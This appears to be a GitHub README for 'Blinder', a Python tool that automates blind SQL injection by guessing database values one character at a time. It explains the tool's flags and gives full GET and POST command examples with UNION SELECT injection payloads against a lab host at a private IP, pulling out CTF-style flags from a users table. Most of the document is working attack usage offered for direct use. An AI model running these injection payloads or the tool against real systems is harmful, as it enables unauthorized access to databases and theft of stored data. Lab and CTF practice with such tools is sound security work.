jaymanza / blinder

Blinder is a tool that will help you simplify the exploitation of blind SQL injection

Blinder

Have you found a blind SQL injection? Great! Now you need to export it, but are you too lazy to sort through the values? Most likely, Blinder will help you!

Blinder is a tool that iterates through the values by letter. FUZZ is used to indicate the location of the search.

                      [HELP PAGE]
Usage: python3 blinder.py -u [URL] -v [GET/URL] -p [PARAMETERS]

Flags: 

[-h] [--help]: help page.
[--url] [-u]: url to target.
[-v] [--verbs]: HTTP verb (GET, POST, PUT and etc...).
[-p] [--parameters]: parameters for the target.
[-sl] [--show_length]: show response length.
[-il] [--incorrect_length]: size of incorrect length (for the filtration).
[-ec] [--exclude_characters]: Exclude characters from the fuzzing list. Specify sequentially in a line
   By default: [',&,%]
[-hg] [--hide-greeting]: Hide greeting.
[-ta] [--to-ascii]: Convert characters to ascii code.
[-ap] [--add-percent]: Add a percent sign to the end of FUZZ.
   In this mode, other characters can be added to the end of the line. These signs may be incorrect, due to the percentage.
[-tl] [--to-lower]: Convert letters to lowercase
[--hack]: Specify the URL of the target after the --hack flag, and it will be hacked.

GET request

Let's specify the URL through the flag [-u], and the verb through [-v]. Our request will look like this: . To make it work fine, add a percentage to the end of the line using the [-ap] flag. We want to see the length of the request. Let's add the [-sl] flag.

./blinder.py -u "http://192.168.0.100:7777/index.php?id=' union select id,name from users where name like 'FUZZ' -- -", -v GET  
-sl -ap

The end of result will be as follows:

We realized that the length 117 can be specified as incorrect. The letters will be converted to lowercase using the [-tl] flag, because we found upper and lower case letters. Specify the first letter m. In order for Blinder to fuzz recursively, we need to specify the wrong length 117 through [-ic] and remove the [-sl] flag.

/blinder.py -u "http://192.168.0.100:7777/index.php?id=' union select id,name from users where name like 'mFUZZ' -- -", -v GET -ap -il 117 -tl

Let's connect the letter m and the result of Blinder:

my_first_flag

POST request

In a post request, parameters are not passed through ?. There is a [-p] flag in Blinder for this request. We will specify the parameters using the [-p] flag. The rest of the flags, as in the get request.

./blinder.py -u "http://192.168.0.100:7777/index_post.php" -v POST -p "id=100' union select id,name from users where name like 'FUZZ' -- -" -sl -ap

The end of result will be as follows:

We realized that the length 184 can be specified as incorrect. The letters will be converted to lowercase using the [-tl] flag, because we found upper and lower case letters. Specify the first letter f. In order for Blinder to fuzz recursively, we need to specify the wrong length 184 through [-ic] and remove the [-sl] flag.

./blinder.py -u "http://192.168.0.100:7777/index_post.php" -v POST -p "id=100' union select id,name from users where name like 'fFUZZ' -- -" -il 184 -ap -tl

Let's connect the letter f and the result of Blinder:

flag